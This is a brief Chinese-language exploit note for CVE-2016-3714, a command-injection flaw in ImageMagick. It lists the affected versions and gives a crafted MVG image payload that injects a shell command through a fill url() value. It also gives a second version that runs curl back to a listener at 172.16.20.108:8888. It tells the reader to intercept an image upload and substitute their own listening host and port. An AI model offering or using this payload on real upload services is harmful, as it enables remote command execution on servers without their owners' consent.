CVE-2016-3714 ImageMagick 命令執行漏洞

Other languages:

Chinese

漏洞影響

mageMagick 6.5.7-8

ImageMagick 6.7.7-10

<6.9.3-9 released

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"| command")'
pop graphic-context

圖片上傳點，抓包

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"| curl 172.16.20.108:8888")'
pop graphic-context

修改IP和端口爲監聽機器的IP和端口。